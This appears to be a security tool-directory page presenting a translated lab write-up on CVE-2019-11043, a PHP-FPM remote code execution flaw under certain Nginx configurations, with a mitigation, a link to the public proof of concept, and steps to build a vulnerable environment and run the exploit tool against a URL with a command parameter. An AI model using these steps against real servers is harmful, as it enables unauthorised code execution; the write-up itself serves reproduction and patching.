Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/shadow-horse/cve-2019-11043
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubshadow-horse/cve-2019-11043

cve-2019-11043

CVE-2019-11043 PHP远程代码执行

View Repository
11257 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    589
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    361
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

PHP Remote Code Execution Vulnerability (CVE-2019-11043)

1. Background

On September 26, PHP officially released a vulnerability advisory pointing out that servers using Nginx + php-fpm, under certain configurations, have a remote code execution vulnerability. Moreover, this configuration is widely used and poses significant harm.

The vulnerability PoC was made public on October 22, and domestic security media promptly issued warnings.

2. Vulnerability Description

On Nginx, when fastcgi_split_path_info processes requests containing %0a, PATH_INFO becomes empty because it encounters the newline character \n. Moreover, php-fpm has a logic flaw when handling an empty PATH_INFO. Through careful construction and exploitation, attackers can cause remote code execution.

Servers running Nginx + php-fpm are all potentially vulnerable to remote code execution when using the following configuration:

 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

3. Solution

Without affecting normal business operations, delete the following configuration from the Nginx configuration file:

fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

4. Public POC on GitHub

GitHub: https://github.com/neex/phuip-fpizdam

This POC exploits an optimization in the FastCGI variable _fcgi_data_seg, which exists only in PHP 7. Therefore, the public exploit is effective only under PHP 7; PHP 5 environments require a different exploit to take effect.

5. Vulnerability Reproduction

1. Configure NGINX+PHP-FPM (php7)

Configure the environment, set up nginx + php-fpm, and verify that the setup works.

  1. Download php7, extract it, and enter the directory

     wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
     tar -xzvf php-7.2.4.tar.gz
    
  2. Install compression, SSL, and other related dependency packages

     yum install -y libxml2*
     yum install -y openssl*
     yum install -y libcurl*
     yum install -y libjpeg*
     yum install -y libpng*
     yum install -y freetype*
     yum install -y libmcrypt*
    
  3. Run configure to compile the source code

     ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
    
     make & make install
    
  4. Configure php-fpm. If you configure multiple PHP instances, you can change port 9000 to 9001

     Modify the php-fpm configuration file:
     $ cd /usr/local/php/etc
     $ cp php-fpm.conf.default php-fpm.conf
     $ vi php-fpm.conf
     Remove the semicolon before pid = run/php-fpm.pid
     $ cd php-fpm.d
     $ cp www.conf.default www.conf  (modify the port)
     $ vi www.conf
     Change the user and group to a non-root user
    
  5. ./php-fpm

2. Configure the Vulnerable PHP Parsing

Add the following configuration to nginx.cof:

location ~ [^/]\.php(/|$) {
        root /opt/apache/www;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO  $fastcgi_path_info;
        fastcgi_pass   127.0.0.1:9001;
        include     fastcgi_params;
     }

Restart nginx

  1. Install Go and compile the POC code

     go get github.com/neex/phuip-fpizdam (the file is downloaded to Go's src directory)
    
     go build github.com/neex/phuip-fpizdam (full path; it will generate an executable file in the current directory)
    
  2. Run the POC

     ./phuip-fpizdam http://website.com/index.php
     ./phuip-fpizdam http://website.com/index.php?a=command
     
    

[Unfortunately, due to some unknown issue in the configured environment, verification failed]

	2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

4. Docker Integrated Verification Environment

Original link: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

  1. Download the docker project files

  2. Run docker-compose up -d to start the docker container

  3. Run the program; it shows that execution succeeded, exploiting the vulnerability to echo the executed command "id"

  4. Stop the docker service docker ps
    docker stop id

Download Tool